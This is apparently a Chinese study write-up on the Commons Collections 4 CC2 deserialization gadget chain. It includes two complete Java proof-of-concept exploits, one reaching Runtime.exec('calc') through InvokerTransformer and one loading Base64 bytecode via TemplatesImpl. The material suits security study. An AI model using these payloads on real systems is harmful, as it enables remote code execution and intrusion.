在cc反序列化利用链提出后,cc库出现了2个分支
commons-collections:commons-collections
org.apache.commons:commons-collections4
俩者名字都变了,变成了2个不同的分支,因为官方认为旧的cc库有一些架构和api设计上的问题,但是如果去修复这些问题,会有很多不能向前兼容的改动,所以CC4成了一个新的包,可以和之前的cc包共存,代码层面,有以下变动
1 2 3 4 5 6 7 8 9
| import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.map.LazyMap;
Map map = LazyMap.decorate(innerMap, transformer);
Map map = LazyMap.lazyMap(innerMap, transformer);
|
像我们之前写的cc1,cc6的payload拿到cc4里去用,没改的话肯定用不了

也还是能弹计算器

cc3和查重也差不多,但是也要把transformermap的decorate方法改了

但是ysoserial的作者在面对CC4的时候,没有想着用之前的旧链,而是找了2条新链,一条是CC2利用链,一条是CC4利用链。
从CC库中找利用链其实就是找一条从Serializable#readObject()到Transformer#transform()的调用链。
CC2链
CC2链中用到的2个关键类是
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
这个优先队列类被反序列化时,不会直接相信数据流里的顺序,在readObject方法中会自己再排一遍,会调用一个heapify方法,这个方法中会调用比较器(Comparator).compare(obj1,obj2)重新排序。
而CC库里恰好有一个TransformingComparator,它在比较之前会用Transformer处理一下再比较。
1 2 3 4 5 6 7 8 9 10 11 12 13
| Transformer transformer = ... ;
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1); queue.add(2);
|
而comparator.compare(1, 2)方法中是这样的
1 2 3 4 5 6 7
| public int compare(final I obj1, final I obj2) { Object value1 = this.transformer.transform(obj1); Object value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
|
看到这个transform就到了我们熟悉的环节了
然后这是一个简单的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.map.TransformedMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Comparator; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue;
public class CC2 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) }; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Transformer transformerChain = new ChainedTransformer(transformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue=new PriorityQueue(2,comparator);
queue.add(1); queue.add(2); Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");
System.out.println("开始反序列化..."); ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = (Object)ois.readObject(); } }
|
这里会弹2个计算器,因为执行了2次transform方法
然后字节码版本的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.*;
public class CC2_template { public static void setValue(Object obj, String field,Object value) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, value); } public static void main(String[] args) throws Exception { byte[] code= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj" + "L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW" + "xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z" + "BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2" + "0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z" + "dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG" + "xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu" + "amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1" + "RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv" + "cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG" + "VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA" + "FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ" + "AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA" + "AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ" + "AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE" + "sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setValue(obj,"_bytecodes",new byte[][]{code}); setValue(obj,"_name","gYppSHXH"); setValue(obj,"_tfactory",new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString",null,null); Comparator comparator = new TransformingComparator(transformer); PriorityQueue queue=new PriorityQueue(2,comparator);
queue.add(obj); queue.add(obj); setValue(transformer,"iMethodName","newTransformer"); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");
System.out.println("开始反序列化..."); ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = (Object)ois.readObject(); } }
|
但是这个PriorityQueue链在cc3库中是没法使用的,因为TransformingComparator在cc4之前没有实现序列化接口。
然后在cc3.2.2版本中,官方为了修复反序列化漏洞,添加了一个方法来检查反序列化是否安全,会检查一些常见的危险Transformer类,然后抛出异常
然后在cc4版本中,直接删除了这几个危险Transformer类的序列化接口